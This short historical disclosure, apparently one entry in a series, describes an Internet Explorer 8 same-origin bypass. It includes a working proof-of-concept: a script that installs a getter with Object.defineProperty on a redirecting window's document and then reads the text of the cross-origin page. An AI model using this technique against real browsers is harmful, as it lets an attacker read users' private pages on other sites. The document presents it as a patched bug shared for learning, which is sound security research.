This builds on the delayed-redirect variable injection (entry #23) by using Object.defineProperty to install a getter accessor on a cross-origin window’s document object. The accessor persists through the redirect, and when the new-domain page accesses document.images (as Google does), our getter is called — with this pointing to the live cross-origin document.
<script language="JavaScript">
var newWinDoc;
function openDelayedRedirect()
{
var newWin = window.open("delayed_redirect.aspx");
Object.defineProperty(newWin.document,"images",{get:function(v)
{
// Suppress errors caused by overriding document.images
this.parentWindow.execScript("window.onerror = function(){return true}");
// Save a reference to the cross-origin document
newWinDoc = this;
// Read the page content
setTimeout("alert(newWinDoc.body.innerText)", 2000);
}});
}
</script>
<input type="button" value="Run PoC (and wait 3 seconds)" onclick="openDelayedRedirect()">
The server-side redirect points to Google. Google accesses document.images during its page initialization, which triggers our getter. The this pointer inside the getter is newWin.document — the live Google document — giving full DOM access. This was a genuinely surprising capability that defineProperty introduced in IE8; the ability to set persistent accessors on cross-origin documents was an unintended side-effect.
Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.